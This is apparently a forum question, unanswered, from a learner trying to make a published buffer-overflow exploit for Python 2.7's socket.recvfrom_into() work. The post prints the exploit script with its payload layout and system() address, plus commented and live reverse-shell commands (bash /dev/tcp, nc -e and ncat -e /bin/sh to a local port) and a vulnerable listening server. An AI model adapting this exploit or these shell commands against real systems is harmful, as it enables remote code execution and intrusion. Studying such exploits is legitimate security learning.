如何使用recvfrom_into缓冲溢出?

时间:2018-10-26 21:48:36

标签: python python-2.7 sockets buffer-overflow

我正在学习有关通过Shellcode注入利用缓冲区溢出的知识。四年前,为 socket.recvfrom_into()函数发现了buffer overflow vulnerability

精心设计并发布了一个here漏洞利用程序,为方便起见,我将简化版发布在这里。

#!/usr/local/bin/python

import struct

def off(o):
        return struct.pack('L',o)

plt = {
        'system': off(0x805b7e0),
}

ebx = 0xb7ae7908  # points to the begining of the buff
eax = ebx
eax2 = ebx+20
padd2 = 'X'*(144)
padd1 = 'Y'*(8)

#system_command = 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'
#system_command = 'nc -e /bin/sh 127.0.0.1 1337'
system_command = 'ncat -e /bin/sh 127.0.0.1 1337'

buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 +  plt['system'] + '||'+system_command+'\x00'


print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)
print 'egg file generated!!!'

该代码应使用该漏洞生成一个文件,然后将该文件发送给具有所述功能的侦听套接字。

这是我的“服务器”套接字。

#!/usr/local/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('localhost',1337))

s.listen(1)

(socketVuln, addr) = s.accept()

print "Conexion inicializada"

received,_ = socketVuln.recvfrom_into(bytearray(), 1024)

print str(received) + " bytes received"

egg文件的长度为201字节,但我不知道接收缓冲区应使用什么大小。如果我输入一个类似100的值,它只会回答“接收到100个字节”,如果我使用1024个字节的缓冲区,并且在egg文件中添加了额外的填充(额外的850-900个字节),则会出现分段错误。

我该怎么做才能使漏洞利用程序发挥作用?

要求:Python版本。在32位Linux中为2.7。

PS:我已经使用gbd和C通过检查堆栈和eip / ebp寄存器来进行类似的利用。如果有任何方法可以在Python中执行此操作,那么它也可能对我有帮助。

0 个答案:

没有答案